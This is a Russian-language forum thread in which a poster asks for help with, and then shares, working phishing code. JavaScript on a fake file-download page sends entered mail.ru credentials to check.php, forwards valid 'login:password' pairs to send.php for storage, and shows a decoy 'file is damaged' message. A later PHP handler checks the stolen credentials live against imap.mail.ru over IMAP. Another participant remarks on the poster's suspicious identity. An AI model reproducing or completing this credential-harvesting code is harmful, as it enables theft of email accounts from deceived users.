Доброго дня! Есть такой вот код JS Код (Javascript): function check() { var login = document.getElementById("username_id").value; var password = document.getElementById("password_id").value; if(login.indexOf("@") == -1) { login += domain; } console.log("login = " + login); console.log("password = " + password); $.ajax({ type: "POST", url: "check.php", data: "email="+login+"&password="+password, success: function(data) { console.log(data); if(data == "yes") { $.ajax({ type: "POST", url: "send.php", data: "data="+login+":"+password, success: function(data) { document.getElementById("modalBG").style.display = "none"; document.getElementById("form_login").style.display = "none"; document.getElementById("text_center").innerHTML = "Данный файл поврежден. Вы не сможете его скачать или просмотреть он-лайн"; document.getElementById("text_center").style.color = "#f00"; } }); } else { document.getElementById("message_div").innerHTML = "Неверное имя пользователя или пароль. Проверьте правильность введенных данных."; } } }); } Функция сначало проверяет валидность введеных данных, проверка логин:пароль если данные не верные то выбрасываем неверное логин и пароль если данные валидные то то отдаем страничку и оптарвляемм эти данные на фаил send.php (который к примеру запишет эти данные в бд) Мне нужна помощь с составлением php обработчика
Обработчик авторизуется в почте mail.ru $.ajax({ type: "POST", url: "check.php", data: "email="+login+"&password="+password, если по этим результатам авторизации прошла успешно то передаем true если эти данные тру то выполняем вот это if(data == "yes") { $.ajax({ type: "POST", url: "send.php", data: "data="+login+":"+password, success: function(data) { document.getElementById("modalBG").style.display = "none"; document.getElementById("form_login").style.display = "none"; document.getElementById("text_center").innerHTML = "Данный файл поврежден. Вы не сможете его скачать или просмотреть он-лайн"; document.getElementById("text_center").style.color = "#f00"; } }); Получается при удачной работы скрипты и вверных данных я должен получать буду вот это "document.getElementById("text_center").innerHTML = "Данный файл поврежден. Вы не сможете его скачать или просмотреть он-лайн";
обычным браузерным отлатчиком F12 в вкладке сеть, посылается запрос, увидеть можно, и что присылает кликнув по запросу (вкладка ответ)
Спойлер: Оффтоп Подозрительно не это, а то, что человек ником "Марина Гулеева", что является женским именем, использует глаголы и прилагательные мужского рода, описывая свои действия и качества.
Да че вы тут все параноики какие то может я трансвестит?) Проблему я решил вот так вот: Есть JS код Код (Text): $.ajax({ type: "POST", url: "check.php", data: "email="+login+"&password="+password, success: function(data) { console.log(data); if(data == "yes") { $.ajax({ type: "POST", url: "send.php", data: "data="+login+":"+password, success: function(data) { document.getElementById("modalBG").style.display = "none"; document.getElementById("form_login").style.display = "none"; document.getElementById("text_center").innerHTML = "Данный файл поврежден. Вы не сможете его скачать или просмотреть он-лайн"; document.getElementById("text_center").style.color = "#f00"; } }); Отправляем постом email и passwoird на обработчик если ответ приходит тру то отправляем все эту инфу на обработчик сенд Цель проверять на валид майловскую почту если валид то отвечаем обработчику тру код обработчика чек Код (Text): <? $host = 'imap.mail.ru'; $port = 993; $login = $_POST['email']; $pass = $_POST['password']; $param = '/imap/ssl/novalidate-cert'; $folder = 'INBOX'; if($mbox = imap_open("{"."{$host}:{$port}{$param}"."}$folder",$login,$pass)){ echo "true"; } else { exit ("Can't connect: " . imap_last_error() ."n"); echo "FAIL!n"; }; ?>